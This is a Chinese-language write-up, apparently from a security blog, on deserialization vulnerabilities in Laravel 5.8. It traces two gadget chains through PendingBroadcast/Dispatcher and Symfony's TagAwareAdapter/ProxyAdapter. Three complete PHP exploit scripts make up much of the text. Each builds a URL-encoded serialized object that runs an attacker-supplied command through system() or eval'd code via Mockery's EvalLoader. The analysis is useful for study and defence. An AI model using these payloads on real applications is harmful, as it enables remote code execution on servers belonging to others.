Laravel 5.8反序列化漏洞

POP链1

PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控，即可执行任意命令

再看pop链首

PendingBroadcast->__destruct

$this->events与$this->event可控。

这里需要调用Dispatcher->dispatch

跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true

跟进Dispatcher->dispatchToQueue

$this->queueResolver可控，$connection由传入的$command控制,也即是上面的$this->event,可控。

只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。

先找到ShouldQueue的实现类如下

这些类自身没有$connection属性，但是一些类使用的trait类Queueable中有$connection，如下

故如下类，可用

QueuedCommand
BroadcastEvent
SendQueuedNotifications
CallQueuedClosure

至此已可编写exp,整理一下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = 要执行的函数	
BroadcastEvent->connection = 参数

exp1

<?php

namespace Illuminate\Bus;
class Dispatcher implements QueueingDispatcher{
    protected $queueResolver;
    
    public function __construct(){
        $this->queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent implements ShouldQueue{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);
$dispatcher = new Illuminate\Bus\Dispatcher();
$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

控制broadcastevent的$connection为要执行命令的参数即可执行命令了，其他师傅没有这么做，不是很理解原因。但是下面还是说一下其他师傅的。

利用参数可控的call_user_func可调用任意类方法，如下

故，这里可以调用EvalLoader类的load方法，如下

MockDefinition类的getCode方法返回值可控，如下

只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类)，即可执行代码

跟踪getClassName方法

全局查找返回值可控的getName方法，发现MockConfiguration类

至此可编写exp，整理一下如下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = [EvalLoader类,"load"]		
BroadcastEvent->connection = MockDefinition类	

MockDefinition->config = MockConfiguration类		//任一getName返回值可控的类
MockDefinition->code = 要执行的代码
MockConfiguration->name = ConfigCacheCommand类	//任一未被载入的类

exp2

<?php

namespace Illuminate\Bus;
class Dispatcher{
    protected $queueResolver;
    
    public function __construct($cmd){
        $this->queueResolver = $cmd;
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}

namespace Mockery\Generator;
class MockDefinition{
	protected $config;
	protected $code;

	public function __construct($mockconfiguration,$code){
		$this->config = $mockconfiguration;
		$this->code = $code;
	}
}

namespace Mockery\Generator;
class MockConfiguration{
	protected $name;

	public function __construct($class){
		$this->name  = $class;
	}
}

namespace Mockery\Loader;
class EvalLoader{
}

namespace Illuminate\Foundation\Console;
class ConfigCacheCommand{
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");
$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));
$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

POP链2

TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave

先看命令执行处

若ProxyAdapter->setInnerItem、$innerItem、$item可控，则可命令执行。

回到POP链首

TagAwareAdapter->__destruct

跟进，TagAwareAdapter->commit

跟进，TagAwareAdapter->invalidateTags(截取部分)

令$this->pool=ProxyAdapter类

跟进ProxyAdapter->saveDeferred

跟进ProxyAdapter->doSave

首先，$item为我们传入的参数，也即是$TagAwareAdapter->deferred,可控。

204行的if语句，只要使得$item为CacheItem的实例即可通过。

$this->setInnerItem为ProxyAdapter的属性，可控。

$innerItem可通过代码213行控制

至此可以编写exp，整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]
$TagAwareAdapter->pool = ProxyAdapter类

$ProxyAdapter->setInnerItem = "system";
$ProxyAdapter->poolHash = "4ut15m";

$CacheItem->innerItem = 要执行的命令
$CacheItem->poolHash = "4ut15m";

这条链并不复杂，具体的内容看exp

exp

<?php

namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
	private $deferred;
	private $pool;

	public function __construct($obj, $obj2){
		$this->deferred = array("4ut15m" => $obj2);
		$this->pool = $obj;
	}

}

namespace Symfony\Component\Cache;
final class CacheItem{
	protected $innerItem;
	protected $poolHash;
	public function __construct($cmd){
		$this->innerItem = "$cmd";
		$this->poolHash = "4ut15m";
	}
}

namespace Symfony\Component\Cache\Adapter;
class ProxyAdapter{
	private $setInnerItem;
	private $poolHash;
	public function __construct(){
		$this->setInnerItem = "system";
		$this->poolHash = "4ut15m";
	}
}


$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);
$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();

$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);

echo urlencode(serialize($TagAwareAdapter));
echo "\n";
?>